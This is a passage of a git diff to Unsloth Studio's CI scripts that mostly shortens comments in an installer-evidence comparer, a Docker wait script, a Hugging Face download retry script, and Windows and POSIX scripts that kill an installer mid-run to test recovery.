- # changed"; 3 means "could not measure", which must never read as a pass.
+ # 2 means measured and changed; 3 means could not measure and must never read as a pass.
if self.void:
return 3
if self.differences:
@@ -365,26 +336,18 @@ def _shortcut_key(entry: dict) -> str:
return f"{root}/{name}" if root else name
-# Read back from the shell, and every one of them is a contract. Arguments especially: it carries
-# -WindowStyle and -ExecutionPolicy, which is the pair this whole effort is about, and a change
-# there is completely invisible in the transcript.
_SHORTCUT_FIELDS = (
"targetPath",
"arguments",
"workingDirectory",
"windowStyle",
"iconLocation",
- # The tooltip. It is user-visible, the collector records it, and install.ps1 reads it back at
- # :3455 as part of deciding whether a shortcut is already correct, so a change to it is both a
- # behaviour change and invisible in the transcript. Leaving it out made those compare equal.
+ # install.ps1 reads the tooltip back when deciding whether a shortcut is already correct.
"description",
)
-# The two files this lane treats as contracts by their TEXT, kept in step with the collector's
-# $contentFiles (.github/scripts/Collect-InstallerEvidence.ps1). A name here without captured content
-# is VOID rather than skipped, and the list is explicit so adding a third place to the collector
-# without adding it here is visible rather than silent.
+# Must stay in sync with $contentFiles in Collect-InstallerEvidence.ps1.
_CONTENT_CONTRACTS = ("launch-studio.ps1", "unsloth.cmd")
@@ -439,10 +402,7 @@ def compare_shortcuts(base, head, verdict: Verdict) -> None:
"entry, so zero on both sides means the evidence was not collected, not that they agree."
)
return
- # A collection error on both sides compares equal to itself. Observed while wiring this up: two
- # runs that both failed to read any shortcut reported "1 compared, every field equal" and exited
- # zero. Failures are symmetric far more often than behaviour changes are -- they usually come
- # from the host, which both sides share -- so the symmetry is no comfort at all.
+ # A collection error on both sides would otherwise compare equal to itself.
for side, entries in (("base", base), ("head", head)):
for entry in entries:
if entry.get("error"):
@@ -452,11 +412,7 @@ def compare_shortcuts(base, head, verdict: Verdict) -> None:
f"prove nothing."
)
continue
- # An entry with no identity and no launch contract is not a shortcut. `{}` survives
- # `_shape_problem` (it IS an object), `_as_list` counts it as one, and `_shortcut_key`
- # names it `<unnamed>`, so two empty objects compared equal and the run reported "1
- # compared, every field equal". The same collector writes both sides, so a schema
- # regression is symmetric and this is the shape it takes.
+ # An entry with no identity is not a shortcut; two empty objects would otherwise compare equal.
if not (entry.get("name") or entry.get("path")):
verdict.void.append(
f"{side} reported a shortcut with no name and no path, so there is nothing to "
@@ -493,21 +449,13 @@ def compare_shortcuts(base, head, verdict: Verdict) -> None:
verdict.differences.append(
f"shortcut {name!r} field {field!r} changed:\n base: {before}\n head: {after}"
)
- # Scoped to this comparison. Reading the whole verdict here meant a transcript difference
- # suppressed the shortcut note, so a run that reported a changed line also stopped saying
- # whether the launch contract had been looked at.
if len(verdict.differences) == before_differences:
verdict.notes.append(f"shortcuts: {len(base_map)} compared, every field equal")
def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
"""The installed files. Paths on both sides, content only where content is a contract."""
- # The same reasoning as for shortcuts, which this did not have. The collector records a
- # collection failure as an `error` field rather than a red step, and an error read as data is a
- # green run: two sides that both failed to enumerate the install root list no files, compare
- # equal, and report agreement. A per-file error is worse, because the entry still exists with
- # the same key and only the `content` is gone, so the content check below skips it silently and
- # the file that was never compared is the one whose text is the contract.
+ # Collection errors are recorded as data, so symmetric failures would otherwise compare equal.
for side, data in (("base", base), ("head", head)):
if not isinstance(data, dict):
verdict.void.append(
@@ -554,10 +502,7 @@ def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
for name in sorted(set(base_files) & set(head_files)):
before, after = base_files[name], head_files[name]
if not isinstance(before, dict) or not isinstance(after, dict):
- # VOID, not skipped. The SAME collector runs on both legs, so a malformed entry is
- # malformed identically on both and skipping it left the maps non-empty, the key sets
- # matching and nothing compared, which the run then reported as agreement. The shortcut
- # manifest and the top-level manifests are already validated this way.
+ # VOID, not skipped: the same collector writes both sides, so malformed entries match.
sides = [
side
for side, value in (("base", before), ("head", after))
@@ -568,10 +513,6 @@ def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
f" and not an object on {' and '.join(sides)}, so its evidence could not be read"
)
continue
- # The two entries whose CONTENT is the contract. An empty object on both sides made the
- # asymmetry check below false and the comparison below that false too, so the loop compared
- # nothing and the run passed. Symmetric malformed evidence is the likely failure mode here,
- # because the candidate collector writes both manifests.
if name in _CONTENT_CONTRACTS and not before.get("error") and not after.get("error"):
absent = [
side
@@ -587,9 +528,6 @@ def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
)
continue
if ("content" in before) != ("content" in after):
- # One side captured the text and the other did not. Skipping quietly, which is what
- # happened before, means the file whose content is the whole reason it is in the
- # manifest goes uncompared while the run still reports agreement.
side = "head" if "content" in before else "base"
verdict.void.append(
f"{name!r} has captured content on one side only, so {side} never contributed the "
@@ -597,10 +535,7 @@ def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
)
continue
if "content" in before and "content" in after:
- # The drift note first, on the RAW text, exactly as the transcript and shortcut
- # comparisons do it. Without this a launcher retargeted from python-3.11.9 to
- # python-3.13.0 was normalised away and the lane returned PASS with no note at all,
- # which is the one thing normalisation is supposed to buy back.
+ # Report drift on the RAW text before normalisation hides a retargeted version.
report_version_drift(before["content"], after["content"], f"generated {name}", verdict)
b = normalise_script(before["content"])
a = normalise_script(after["content"])
@@ -608,15 +543,9 @@ def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
verdict.differences.append(
f"the generated {name} changed:\n" + "\n".join(_unified(b, a, name))
)
- # Encoding is part of the contract and is invisible in the decoded text. Windows PowerShell
- # 5.1 reads a BOM-less file as ANSI, so a launcher that silently stops carrying its UTF-8
- # BOM breaks every install whose paths contain non-ASCII characters while comparing equal.
+ # Windows PowerShell 5.1 reads a BOM-less file as ANSI, so a dropped UTF-8 BOM breaks non-ASCII paths.
bom_before, bom_after = before.get("bom"), after.get("bom")
if name in _CONTENT_CONTRACTS and not (bom_before and bom_after):
- # VOID, not skipped. The same collector writes both manifests, so a regression that drops
- # the field drops it on both sides, and skipping quietly reported a pass for an encoding
- # contract that was never measured. This is the field whose absence in the FILE breaks
- # every install with a non-ASCII path, so unmeasured is not a pass.
missing = [
side for side, value in (("base", bom_before), ("head", bom_after)) if not value
]
@@ -629,11 +558,7 @@ def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
f"{name!r} changed encoding: base wrote {bom_before} and head wrote {bom_after}. "
f"Windows PowerShell 5.1 reads a file with no BOM as ANSI."
)
- # Where it landed, not only what is in it. The collector probes each contract at several
- # supported locations and records the one it found, so a candidate that moves studio.conf
- # between `share\studio.conf` and `studio.conf` without touching a byte keeps the same key
- # and the same content. Comparing content alone reports that as agreement, while everything
- # that has to open the file now looks in the wrong place.
+ # Compare where the file landed, not only its content: a moved studio.conf breaks readers.
found_before, found_after = before.get("foundAt"), after.get("foundAt")
if found_before and found_after and found_before != found_after:
verdict.differences.append(
@@ -641,11 +566,7 @@ def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
f"{found_after}. The bytes may match, but consumers must now look elsewhere."
)
- # The install ID, checked WITHIN each side rather than across them. The launcher embeds the ID
- # it will accept from the backend, and the backend reads the persisted one, so if those two
- # disagree Studio refuses its own server and never starts. They are expected to differ between
- # base and head, which is precisely why a cross-side comparison cannot see this and why the
- # transcript normaliser rewriting every 64-hex token hides it completely.
+ # Checked within each side: launcher and backend install IDs must agree or Studio refuses its server.
for side, data in (("base", base), ("head", head)):
persisted, embedded = data.get("installId"), data.get("embeddedId")
if persisted and embedded and persisted != embedded:
@@ -659,17 +580,10 @@ def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
f"studio_install_id was found, so the pair could not be checked"
)
- # Idempotency is reported by the Windows side, which is the only place it can be observed: it
- # runs the installer twice and records whether the second run rewrote anything.
for side, data in (("base", base), ("head", head)):
rewritten = data.get("rewrittenOnSecondRun")
if rewritten is None:
- # VOID, not a note. `None` and `[]` mean different things here and the collector is
- # careful to keep them apart: `[]` is "measured, nothing was rewritten" and `None` is
- # "not measured". Treating the second as optional evidence let the lane report equality
- # while one of the four contracts it advertises had never been checked, which happens
- # whenever the first collector or the non-terminating Copy-Item ahead of the second
- # install fails while everything after it succeeds.
+ # None means not measured and is VOID; [] means measured with nothing rewritten.
verdict.void.append(
f"{side}: idempotency was never measured, so there is no evidence that a reinstall "
f"writes nothing. That is one of this lane's four contracts, and an unmeasured "
@@ -684,8 +598,6 @@ def compare_artifacts(base: dict, head: dict, verdict: Verdict) -> None:
verdict.notes.append(f"{side}: the second run rewrote nothing")
-# The installer's own exit status, which the transcript does not carry. Recorded by the workflow,
-# which is the only thing that sees it.
_RUN_CODES = (
("installExit", "the installer"),
("secondInstallExit", "the second, idempotency install"),
@@ -730,8 +642,7 @@ def _load(path: Path, verdict: Verdict, what: str):
verdict.void.append(f"{what} is missing at {path}, so this side produced no evidence")
return None
try:
- # utf-8-sig, not utf-8: Windows PowerShell 5.1 writes a BOM for `Set-Content -Encoding
- # utf8`, and a BOM makes json.loads fail on a file that is otherwise perfectly good.
+ # utf-8-sig: Windows PowerShell 5.1 writes a BOM that json.loads rejects.
if path.suffix == ".json":
return json.loads(path.read_text(encoding = "utf-8-sig", errors = "replace"))
return path.read_text(encoding = "utf-8-sig", errors = "replace")
@@ -757,12 +668,7 @@ def compare_directories(
base_transcript = _load(base_dir / "transcript.txt", verdict, "the base transcript")
head_transcript = _load(head_dir / "transcript.txt", verdict, "the head transcript")
- # The reinstall output, which the workflow has always captured and this comparer never read. A
- # candidate that changes what the installer prints only when an installation already exists --
- # a reinstall warning added or dropped, a "nothing to do" line reworded -- leaves the first-run
- # transcripts identical and the artifacts untouched, so without this the lane reported PASS on
- # a user-visible change. Required rather than optional: the step that writes it runs under
- # `if: always()`, so a side that does not have one did not produce the evidence.
+ # Required: the step that writes it runs under `if: always()`, so absence means missing evidence.
base_second = _load(
base_dir / "transcript-second-run.txt",
verdict,
@@ -789,23 +695,15 @@ def compare_directories(
compare_transcripts(base_transcript, head_transcript, verdict, "first-run transcript")
compare_transcripts(base_second, head_second, verdict, "second-run transcript")
- # Passed through as loaded, not coerced with `or []` / `or {}`. The coercion turned a manifest
- # of the wrong shape into an empty one of the right shape, and an empty manifest against a
- # populated one reads as "every file disappeared" -- a behaviour difference, reported about
- # evidence that was never parsed.
+ # Not coerced with `or []`: a wrong-shaped manifest must not become an empty valid one.
compare_shortcuts(base_shortcuts, head_shortcuts, verdict)
compare_artifacts(base_artifacts, head_artifacts, verdict)
return verdict
# ---------------------------------------------------------------------------
-# The positive control
# ---------------------------------------------------------------------------
-
-# A differ that reports no differences looks exactly the same whether it is working or broken. So
-# before the real comparison is trusted, it is handed a pair it MUST call different, and a pair it
-# MUST call equal. Both directions matter: a differ that flags everything is as useless as one that
-# flags nothing, it just fails more loudly.
+# Positive control: the differ must call one pair different and one pair equal before it is trusted.
_CONTROL_TRANSCRIPT = "\n".join(
[
" python 3.13.14 ready",
@@ -885,9 +783,7 @@ def self_test() -> list[str]:
if not v.is_void or v.exit_code() != 3:
failures.append("missing evidence did not produce VOID with exit code 3")
- # The normaliser that erased a renamed launcher marker. `unsloth-studio-managed-launcher` is
- # written into unsloth.cmd and is how the installer recognises its own shim, so a rename is a
- # behaviour change; the rule meant for `unsloth-uv-<hex8>` swallowed it.
+ # `unsloth-studio-managed-launcher` is how the installer recognises its shim, so a rename must differ.
v = Verdict()
compare_transcripts(
" cmd rem unsloth-studio-managed-launcher",
diff --git a/.github/scripts/ensure-docker-daemon.ps1 b/.github/scripts/ensure-docker-daemon.ps1
index b6855b53ab6..f35818f9433 100644
--- a/.github/scripts/ensure-docker-daemon.ps1
+++ b/.github/scripts/ensure-docker-daemon.ps1
@@ -1,13 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Waits for the Windows Docker daemon on a hosted runner, starting the service if
-# it is installed but not running.
-# Docker is installed on every windows-2022 image (runner-images uses Microsoft's
-# install-docker-ce.ps1 without -HyperV, so the daemon serves WINDOWS containers) but is
-# not always RUNNING at job start: a spike run died 21s in with "failed to connect to the
-# docker API at npipe:////./pipe/docker_engine" while a sibling job was fine. Without the
-# wait that flake reads as "Windows containers are unavailable on hosted runners".
+# Waits for the Windows Docker daemon, starting the service if installed but not running.
[CmdletBinding()]
param([int] $TimeoutMinutes = 5)
@@ -32,8 +26,6 @@ while ($true) {
Start-Sleep -Seconds 5
}
-# Failing `docker info` probes leave $LASTEXITCODE non-zero and the runner appends
-# `exit $LASTEXITCODE` to every pwsh step (actions/runner#351), so a successful wait
-# would still fail the step.
+# The runner appends `exit $LASTEXITCODE` to pwsh steps, so failed probes would fail the step.
$global:LASTEXITCODE = 0
exit 0
diff --git a/.github/scripts/hf-download-with-retry.sh b/.github/scripts/hf-download-with-retry.sh
index 567dfd1a822..89e1f586a31 100755
--- a/.github/scripts/hf-download-with-retry.sh
+++ b/.github/scripts/hf-download-with-retry.sh
@@ -1,52 +1,20 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-# Download a single file from a Hugging Face repo with a stall-retry
-# watchdog. Used by the Unsloth CI workflows so a hung hf-xet transfer
-# kills + retries instead of silently consuming the job's timeout.
+# Download one file from a Hugging Face repo, killing and retrying a stalled hf-xet transfer.
# Usage: hf-download-with-retry.sh REPO FILE LOCAL_DIR
-# Why this exists
-# huggingface_hub 1.15+ deprecated `hf_transfer` and routes every
-# transfer through the `hf-xet` binary package. In CI we observed
-# `hf download` on a 3 GB GGUF (gemma-4-E2B-it-UD-Q4_K_XL) progress
-# to ~46% via Xet, then go completely silent for the remainder of
-# the 30-min job timeout -- no progress bytes, no error, no exit.
-# A sibling 940 MB mmproj on the same step downloaded in ~21s
-# moments earlier, so the hang is per-file inside hf-xet rather
-# than a network outage. The Xet env-vars below put hf-xet into
-# its highest-throughput mode and force a 500 s client-read
-# timeout; the watchdog loop ensures a stall does not eat the
-# whole job: if the hf process has not exited after STALL_S
-# seconds (default 180 = 3 min), we SIGTERM, then SIGKILL, then
-# start a fresh attempt. Retries are unbounded -- the enclosing
-# GitHub Actions step's (or, absent one, job's) `timeout-minutes` is
-# the real bound, so give every step that calls this script one.
-# See https://huggingface.co/docs/huggingface_hub/package_reference/environment_variables
-# for the HF_XET_* documentation, and npm/cli#7308's pattern (silent
-# CI hang with no error) for prior art on this class of failure.
+# Retries are unbounded: give every calling step a timeout-minutes.
set -uo pipefail
REPO="${1:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}"
FILE="${2:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}"
-# LOCAL_DIR is optional. If empty, hf falls back to HF_HUB_CACHE
-# (~/.cache/huggingface/hub) which is the desired path for callers
-# that populate HF_HOME for a downstream Unsloth model load.
+# Empty LOCAL_DIR falls back to HF_HUB_CACHE, which callers relying on HF_HOME want.
LOCAL_DIR="${3:-}"
-# Stall threshold per attempt, in seconds. Override with
-# HF_DOWNLOAD_STALL_SECONDS in the workflow env if 3 min is too tight
-# for a specific runner / file. The script keeps retrying past this
-# until the job timeout fires.
STALL_S="${HF_DOWNLOAD_STALL_SECONDS:-180}"
-# hf-xet tuning. HF_HUB_ENABLE_HF_TRANSFER is deliberately NOT set --
-# it is a no-op on huggingface_hub>=1.15 and only emits a deprecation
-# FutureWarning. The five HF_XET_* knobs below mirror the settings
-# Daniel asked for: max bandwidth + 64 parallel range gets, no chunk
-# cache (download-once usage pattern), parallel disk writes (SSD/NVMe
-# runners), and a generous 500 s read timeout so individual chunk
-# requests fail loudly instead of stalling forever.
+# HF_HUB_ENABLE_HF_TRANSFER is a no-op on huggingface_hub>=1.15, so it is not set.
export HF_XET_HIGH_PERFORMANCE=1
export HF_XET_CHUNK_CACHE_SIZE_BYTES=0
export HF_XET_NUM_CONCURRENT_RANGE_GETS=64
diff --git a/.github/scripts/interrupt-install.ps1 b/.github/scripts/interrupt-install.ps1
index f429b7b9cd5..18cef49d0d2 100644
--- a/.github/scripts/interrupt-install.ps1
+++ b/.github/scripts/interrupt-install.ps1
@@ -1,9 +1,6 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Windows counterpart of interrupt-install.sh: run install.ps1 and kill it partway
-# through, reproducing a user quitting the desktop app mid-install.
-# Windows has no process groups (hence the app's windows_job.rs), so this kills the whole
-# process TREE: killing the leader alone leaves uv/python children to finish the dep pass.
+# Run install.ps1 and kill its whole process TREE partway through, like quitting the desktop app.
# Usage:
# pwsh -File .github/scripts/interrupt-install.ps1 -Marker 'studio deps' `
# -LogPath logs/install.log -InstallArgs '--tauri --no-torch --local'
@@ -19,10 +16,8 @@ $ErrorActionPreference = 'Continue'
New-Item -ItemType Directory -Force -Path (Split-Path -Parent $LogPath) | Out-Null
Set-Content -Path $LogPath -Value '' -Encoding utf8
-# Stand in for the desktop app, which writes this before spawning the installer
-# (install.rs). We kill install.ps1 directly, so without it #7490's marker is absent for an
-# unrelated reason, exactly what the Windows legs reported. Both roots: Rust hardcodes
-# ~/.unsloth/studio, CI overrides UNSLOTH_STUDIO_HOME. Never cleared, by design.
+# Stand in for the desktop app, which writes this marker before spawning the installer.
+# Both roots: Rust hardcodes ~/.unsloth/studio, CI overrides UNSLOTH_STUDIO_HOME. Never cleared.
foreach ($dir in @($env:UNSLOTH_STUDIO_HOME, (Join-Path $HOME '.unsloth\studio'))) {
if ([string]::IsNullOrWhiteSpace($dir)) { continue }
try {
@@ -31,12 +26,7 @@ foreach ($dir in @($env:UNSLOTH_STUDIO_HOME, (Join-Path $HOME '.unsloth\studio')
} catch { Write-Host "[interrupt] could not seed install marker in ${dir}: $_" }
}
-# Its own host, so stdout can be redirected to the log while we poll. That host is WINDOWS
-# PowerShell 5.1, not pwsh, with install.rs:325-339's exact flags: the only host a real
-# desktop install uses, while every other Windows job in .github runs install.ps1 under
-# pwsh 7, leaving 5.1 behaviour (.NET Framework, OEM/ANSI console encoding, different
-# native-command and OSArchitecture reporting) covered by nothing. Only the installer child
-# and the repair re-run change host; the driver stays under pwsh.
+# Windows PowerShell 5.1 with install.rs's exact flags: the only host a real desktop install uses.
$argList = @(
'-NoLogo', '-NoProfile', '-NonInteractive',
'-WindowStyle', 'Hidden',
@@ -49,15 +39,10 @@ $proc = Start-Process -FilePath 'powershell.exe' -ArgumentList $argList `
-PassThru -NoNewWindow
Write-Host "[interrupt] installer pid=$($proc.Id) marker='$Marker' deadline=${KillAtSeconds}s"
-# Proof that the signal was DELIVERED, not merely attempted. The installer can fail on its
-# own between the last HasExited check and Stop-Tree, and a natural failure carries a
-# non-zero exit code just like a kill does, so the exit status alone cannot separate the two
-# on Windows. Stop-Process throws on a process already gone, so this flag is false exactly
-# when there was nothing left to interrupt.
+# Proves the kill was delivered: a natural failure also exits non-zero on Windows.
$script:rootKilled = $false
function Get-Descendants([int]$RootId) {
- # Depth-first, deepest first. CIM gives the parent link Windows has no process groups for.
$ids = @()
foreach ($k in @(Get-CimInstance Win32_Process -Filter "ParentProcessId=$RootId" -ErrorAction SilentlyContinue)) {
$kid = [int]$k.ProcessId
@@ -68,15 +53,9 @@ function Get-Descendants([int]$RootId) {
}
function Stop-Tree([int]$RootId) {
- # Snapshot the whole tree BEFORE killing anything: once a parent is gone its children are
- # orphaned with no ParentProcessId left to walk, so the walk has to happen first.
+ # Snapshot the tree before killing: orphaned children lose their ParentProcessId.
$descendants = @(Get-Descendants $RootId)
- # Then the ROOT, ahead of its children. install.ps1 watches the child it waits on: in
- # staging run 30424366953 it had already printed "unsloth studio setup failed (exit code
- # -1)" by the time Stop-Process reached it. Killing children first races the leader's own
- # exit, and a leader that wins makes Stop-Process throw over an interruption the driver
- # did deliver, failing the leg for nothing. Dead first, it can neither react nor respawn
- # what we are about to kill.
+ # Kill the root before its children so it cannot react to their death or respawn them.
try {
Stop-Process -Id $RootId -Force -ErrorAction Stop
Write-Host "[interrupt] killed installer pid=$RootId"
@@ -89,10 +68,7 @@ function Stop-Tree([int]$RootId) {
}
}
-# A leg can be aimed at either kind of phase, and only one of them is a line. install.ps1
-# prints "[TAURI:STEP] <name>" lines, while the dependency pass rewrites ONE physical line
-# with \r (install_python_stack.py:2499), so its sub-steps are CR-separated SEGMENTS.
-# Splitting on \r is what makes a sub-step's END observable at all.
+# The dep pass rewrites one line with \r, so sub-steps are CR-separated segments.
$SubRe = '\[[=-]+\]\s*\d+/\d+\s'
function Get-PhaseLines([string]$Path) {
@@ -107,9 +83,6 @@ function Get-LastPhase([string]$Path) {
return ''
}
-# True when the phase the marker named is no longer the running one. A sub-step marker is
-# judged against the running sub-step, a step marker against the running step -- a step is
-# not "over" because the sub-steps beneath it advanced.
function Test-MarkedPhaseOver {
if (-not $Marker) { return $false }
$lines = @(Get-PhaseLines $LogPath)
@@ -127,21 +100,13 @@ function Test-MarkedPhaseOver {
$killed = $false
$reason = ''
-# Fifth-of-a-second slices, matching the POSIX driver: every phase label prints BEFORE its
-# work, so this delay IS the whole distance between the label and the signal and the only
-# thing that can push the kill past the end of a short phase. It slept 500ms while claiming
-# a fifth, carrying 2.5 slices of overshoot the POSIX side does not.
+# Fifth-of-a-second slices to match the POSIX driver: labels print before their work.
for ($i = 0; $i -lt ($KillAtSeconds * 5); $i++) {
if ($proc.HasExited) { $reason = 'exited-before-marker'; break }
if ($Marker) {
$hit = Select-String -Path $LogPath -Pattern $Marker -SimpleMatch:$false -ErrorAction SilentlyContinue
if ($hit) {
- # Same as the POSIX driver: signal at detection, never after a delay. The label
- # prints before the work, so the kill is inside the phase the moment the line appears,
- # and any wait is a bet on the phase outlasting it that staging runs 30419729244 and
- # 30426111484 both lost.
- # The installer can still exit on its own between the match and the signal, which
- # would record marker-hit over an install that interrupted nothing.
+ # Signal at detection, never after a delay: labels print before the work they name.
if ($proc.HasExited) { $reason = 'exited-before-signal'; break }
$reason = 'marker-hit'
$killed = $true
@@ -155,12 +120,7 @@ if (-not $killed -and -not $proc.HasExited) { if (-not $reason) { $reason = 'dea
if ($killed) {
Write-Host "[interrupt] killing process tree of $($proc.Id) ($reason)"
Stop-Tree $proc.Id
- # Any straggler uv/python that reparented away from the installer. The old sweep matched
- # nothing: UNSLOTH_STUDIO_HOME arrives as `D:\a\r\r/.studio-home` (github.workspace joined
- # with a forward slash) while Process.Path is all backslashes, so the literal -like missed
- # even the venv's own python -- hence the separator normalisation, and uv by name (it
- # lives outside the studio home and the ephemeral runner has no other uv). Under --tauri
- # there is no UNSLOTH_STUDIO_HOME, so fall back to install.ps1's root.
+ # UNSLOTH_STUDIO_HOME may mix `/` and `\`, so separators are normalised before matching paths.
$studioRoot = if ([string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { Join-Path $HOME '.unsloth\studio' }
else { $env:UNSLOTH_STUDIO_HOME }
$homeNorm = if ([string]::IsNullOrWhiteSpace($studioRoot)) { $null }
@@ -184,17 +144,13 @@ Get-Content $LogPath -Tail 15 -ErrorAction SilentlyContinue
if ($Marker -and -not (Select-String -Path $LogPath -Pattern $Marker -ErrorAction SilentlyContinue)) {
Write-Host "::warning::marker '$Marker' never appeared -- killed at the deadline, not the intended step"
}
-# Where the signal actually landed. A phase that ended before the poll saw the marker sends
-# the kill into a LATER phase, so the leg duplicates whichever leg owns that phase while its
-# own label claims otherwise.
$lastPhase = Get-LastPhase $LogPath
Write-Host "[interrupt] phase at kill: $lastPhase"
$mismatch = Test-MarkedPhaseOver
if ($mismatch) {
Write-Host "::warning::killed in '$lastPhase', not the marked phase -- that phase was already over"
}
-# Lower-cased so the workflow compares it the same way on every platform, and only simple
-# values: the POSIX side sources this file.
+# Lower-cased simple values only: the POSIX side sources this file.
@(
"interrupt_reason=$reason"
"interrupt_killed=$killed"
diff --git a/.github/scripts/interrupt-install.sh b/.github/scripts/interrupt-install.sh
index f04a02ebdc6..fb8ba856031 100755
--- a/.github/scripts/interrupt-install.sh
+++ b/.github/scripts/interrupt-install.sh
@@ -1,12 +1,9 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Run install.sh and SIGTERM it partway through, reproducing a user quitting the desktop
-# app mid-install: main.rs cleanup_child_processes() -> install::stop_install() kills the
-# installer PROCESS GROUP (install.rs:798-807). Group, not leader: the `uv`/`python`
-# children would otherwise finish the dep pass and the leg would prove nothing.
+# Run install.sh and SIGTERM its process GROUP partway through, like quitting the desktop app.
# Usage: bash .github/scripts/interrupt-install.sh "<marker>" "<logfile>" [-- install args]
-# <marker> log regex to wait for before killing, e.g. "studio deps"; "" kills at deadline.
+# <marker> log regex to wait for before killing; "" kills at deadline.
# Env: KILL_AT_SECONDS deadline (default 900), KILL_GRACE grace before SIGKILL (default 10)
set -uo pipefail
@@ -20,37 +17,25 @@ KILL_GRACE="${KILL_GRACE:-10}"
mkdir -p "$(dirname "$LOG")"
: > "$LOG"
-# The desktop writes this before spawning the installer (install.rs); we kill the installer
-# directly, so without it #7490's marker is absent for an unrelated reason. Both roots: Rust
-# hardcodes ~/.unsloth/studio, CI overrides UNSLOTH_STUDIO_HOME. Never cleared, by design.
+# The desktop writes this marker before spawning the installer. Never cleared, by design.
for _marker_dir in "${UNSLOTH_STUDIO_HOME:-}" "$HOME/.unsloth/studio"; do
[ -n "$_marker_dir" ] || continue
mkdir -p "$_marker_dir" 2>/dev/null || continue
: > "$_marker_dir/.desktop-install-in-progress" 2>/dev/null || true
done
-# Job control puts the child in its own group, so $! is the pgid and `kill -- -$!`
-# reaches every descendant, as the Rust side does.
+# Job control makes $! the pgid, so `kill -- -$!` reaches every descendant.
set -m
bash install.sh "$@" > "$LOG" 2>&1 &
PID=$!
set +m
echo "[interrupt] installer pid/pgid=$PID marker='${MARKER}' deadline=${KILL_AT_SECONDS}s"
-# A leg can be aimed at either kind of phase, and only one of them is a line. install.sh
-# prints "[TAURI:STEP] <name>" lines, while the dependency pass rewrites ONE physical line
-# with \r (install_python_stack.py:2499), so its ten sub-steps are CR-separated SEGMENTS.
-# Splitting on \r is what makes a sub-step's END observable: without it the "studio deps"
-# leg of staging run 30419729244 killed at "7/10 data designer deps" with backend_ok=true,
-# having installed the structlog it exists to remove.
+# The dep pass rewrites one line with \r, so sub-steps are CR-separated segments.
SUB_RE='\[[=-]+\][[:space:]]*[0-9]+/[0-9]+[[:space:]]'
phase_lines() { tr '\r' '\n' < "$LOG" 2>/dev/null || true; }
-# True when the phase the marker named is no longer the running one. A sub-step marker is
-# judged against the running sub-step, a step marker against the running step -- a step is
-# not "over" because the sub-steps beneath it advanced; a marker naming neither is not
-# judged. Results go through variables, never `| grep -q`, which can report SIGPIPE through
-# pipefail on a long log.
+# Results go through variables, not `| grep -q`, which can report SIGPIPE through pipefail.
marked_phase_over() {
[ -n "$MARKER" ] || return 1
local lines steps subs last
@@ -72,22 +57,13 @@ marked_phase_over() {
killed=false
reason=""
-# Fifth-of-a-second slices: every phase label prints BEFORE its work, so the poll delay is
-# the whole distance between the label and the signal.
for i in $(seq 1 $(( KILL_AT_SECONDS * 5 ))); do
if ! kill -0 "$PID" 2>/dev/null; then
reason="exited-before-marker"
break
fi
if [ -n "$MARKER" ] && grep -qE "$MARKER" "$LOG" 2>/dev/null; then
- # Signal at detection, never after a delay: every label prints BEFORE its work, so the
- # kill is inside the phase the moment the line appears, and any wait is a bet on how
- # long that phase runs. The bet lost twice -- a flat 3s wait put 5 of the 12 legs of
- # staging run 30419729244 into a LATER phase, and in 30426111484 it carried the macOS
- # torch leg from "Installing PyTorch" into "Installing Unsloth", a step the workflow
- # called minutes long that finished in under three seconds.
- # Between the grep and the signal the installer can still exit on its own, which would
- # record marker-hit over an install that interrupted nothing.
+ # Signal at detection, never after a delay: labels print before the work they name.
if ! kill -0 "$PID" 2>/dev/null; then
reason="exited-before-signal"
break
@@ -111,9 +87,7 @@ if [ "$killed" = "true" ]; then
kill -0 "$PID" 2>/dev/null || break
sleep 1
done
- # Unconditional, and to the GROUP: the leader exits on SIGTERM while a uv or python
- # descendant does not, and gating on `kill -0 "$PID"` left that child finishing the dep
- # pass under the probe. Signalling an empty group is a no-op.
+ # Unconditional, and to the group: uv/python children survive SIGTERM to the leader.
echo "[interrupt] SIGKILL to process group -$PID"
kill -KILL -- -"$PID" 2>/dev/null || kill -KILL "$PID" 2>/dev/null || true
fi
@@ -121,8 +95,7 @@ fi
wait "$PID" 2>/dev/null
rc=$?
-# Only after the reap: an unreaped leader is still a member of its own group, so this poll
-# would report it alive forever. No installer may still run when the probe starts.
+# Only after the reap: an unreaped leader keeps its group alive.
if [ "$killed" = "true" ]; then
for _ in $(seq 1 "$KILL_GRACE"); do
kill -0 -- -"$PID" 2>/dev/null || break
@@ -137,13 +110,9 @@ echo "[interrupt] installer exit=$rc reason=$reason killed=$killed"
echo "[interrupt] last log lines:"
tail -15 "$LOG" || true
-# A leg that never reached the target step must be visible, not quietly green.
if [ -n "$MARKER" ] && ! grep -qE "$MARKER" "$LOG" 2>/dev/null; then
echo "::warning::marker '$MARKER' never appeared -- this leg killed at the deadline, not at the intended step"
fi
-# Where the signal actually landed. A phase that ended before the poll saw the marker sends
-# the kill into a LATER phase, so the leg duplicates whichever leg owns that phase while its
-# own label claims otherwise.
_last_phase="$(phase_lines | grep -aE "^\[TAURI:STEP\]|$SUB_RE" | tail -1)" || true
echo "[interrupt] phase at kill: $_last_phase"
mismatch=false
@@ -151,7 +120,7 @@ if marked_phase_over; then
mismatch=true
echo "::warning::killed in '$_last_phase', not the marked phase -- that phase was already over"
fi
-# Only simple values: the workflow sources this file, so the phase text stays out of it.
